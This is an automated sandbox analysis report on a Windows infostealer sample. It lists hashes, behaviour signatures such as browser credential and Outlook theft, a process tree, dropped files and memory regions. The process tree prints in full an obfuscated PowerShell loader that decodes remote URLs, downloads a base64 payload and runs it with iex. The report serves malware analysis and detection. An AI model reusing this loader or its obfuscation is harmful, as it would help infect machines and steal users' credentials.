Analysis

  • max time kernel
    148s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 13:46

General

  • Target

    17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe

  • Size

    483KB

  • MD5

    3ad8cb387874a15488508bf269fd2520

  • SHA1

    e083d92b7f1668b105c18ce5772caccc8705b903

  • SHA256

    1b97d7dd602a1a105948d1607a6c8bc2014eb752078e35f839b4a5c5095a4e90

  • SHA512

    f29a3edb3ba480d5fb17e4b4f96f3b7b2dd09805cc0f31eef5f2199b107ad36dbf7be156f6fee3bf0747566001f21e2ececcf4e943b75c9aea42462ed98c94fe

  • SSDEEP

    6144:wXIktXfM8Lv86r9uVWAa2je4Z5zl4hgDHQQs4NTQjoHFsAOZZoAX0cNs5Gv:wX7tPMK8ctGe4Dzl4h2QnuPs/Zo9cv

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
    "C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2084
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:696
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4876
    • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
      C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext "C:\Users\Admin\AppData\Local\Temp\lruomszhplgbgdpcllnxixjxsvzkaq"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:4960
    • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
      C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext "C:\Users\Admin\AppData\Local\Temp\vtzznckidtygqklgcwaztkegbkqtbbwvxy"
      2⤵
      • Accesses Microsoft Outlook accounts
      • System Location Discovery: System Language Discovery
      PID:1928
    • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
      C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext "C:\Users\Admin\AppData\Local\Temp\gnerou"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4464

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs

    Filesize

    26KB

    MD5

    7a6e4c385a470b962384797f26bc0b8a

    SHA1

    5d4eeeef8961f0ca7a83b5baeb36bb6715d61a11

    SHA256

    b13926e222564a63a3308de6cb116c226e93cd1e9d1b5f2fcac2de6d80e70206

    SHA512

    ba326cbba71bbfd6054a1f3564fcf4c085add37c186170e039e9cf469cdd16b0fd394f028d4d09ea45faadeea4cf5f4edb64f8c5db58eb67ed93987740d8e453

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i2fiagk1.no5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\lruomszhplgbgdpcllnxixjxsvzkaq

    Filesize

    4KB

    MD5

    09082aa233d619449695ad16b4604059

    SHA1

    8a508f3451963c25defbe369c95b9e38566b2153

    SHA256

    a3691a87ff0927de1dce9c9fc27b7dfc556edfe11d8dad058c7e1f692ff4a2cb

    SHA512

    43263debd62b7e3f8b5c26406e6e647e3cacdc05f03e5baefb69c48267bcaa46f69fab2d9b7eba00f0235f19ec33dddc00d87f26ca92cd0a5980ebab161bcf5c

  • memory/696-38-0x0000000073580000-0x0000000073D30000-memory.dmp

    Filesize

    7.7MB

  • memory/696-26-0x0000000005F10000-0x0000000006264000-memory.dmp

    Filesize

    3.3MB

  • memory/696-13-0x0000000073580000-0x0000000073D30000-memory.dmp

    Filesize

    7.7MB

  • memory/696-9-0x000000007358E000-0x000000007358F000-memory.dmp

    Filesize

    4KB

  • memory/696-15-0x0000000005E30000-0x0000000005E96000-memory.dmp

    Filesize

    408KB

  • memory/696-16-0x0000000005EA0000-0x0000000005F06000-memory.dmp

    Filesize

    408KB

  • memory/696-12-0x0000000073580000-0x0000000073D30000-memory.dmp

    Filesize

    7.7MB

  • memory/696-32-0x0000000007740000-0x0000000007762000-memory.dmp

    Filesize

    136KB

  • memory/696-27-0x00000000064F0000-0x000000000650E000-memory.dmp

    Filesize

    120KB

  • memory/696-28-0x0000000006580000-0x00000000065CC000-memory.dmp

    Filesize

    304KB

  • memory/696-29-0x0000000007D60000-0x00000000083DA000-memory.dmp

    Filesize

    6.5MB

  • memory/696-30-0x0000000006A70000-0x0000000006A8A000-memory.dmp

    Filesize

    104KB

  • memory/696-31-0x00000000077B0000-0x0000000007846000-memory.dmp

    Filesize

    600KB

  • memory/696-11-0x0000000005710000-0x0000000005D38000-memory.dmp

    Filesize

    6.2MB

  • memory/696-33-0x0000000008990000-0x0000000008F34000-memory.dmp

    Filesize

    5.6MB

  • memory/696-10-0x0000000002BB0000-0x0000000002BE6000-memory.dmp

    Filesize

    216KB

  • memory/696-14-0x0000000005530000-0x0000000005552000-memory.dmp

    Filesize

    136KB

  • memory/1928-42-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1928-46-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1928-58-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1928-43-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1928-40-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2876-66-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2876-67-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2876-63-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/4464-49-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4464-47-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4464-55-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4464-48-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4960-60-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4960-39-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4960-44-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4960-45-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB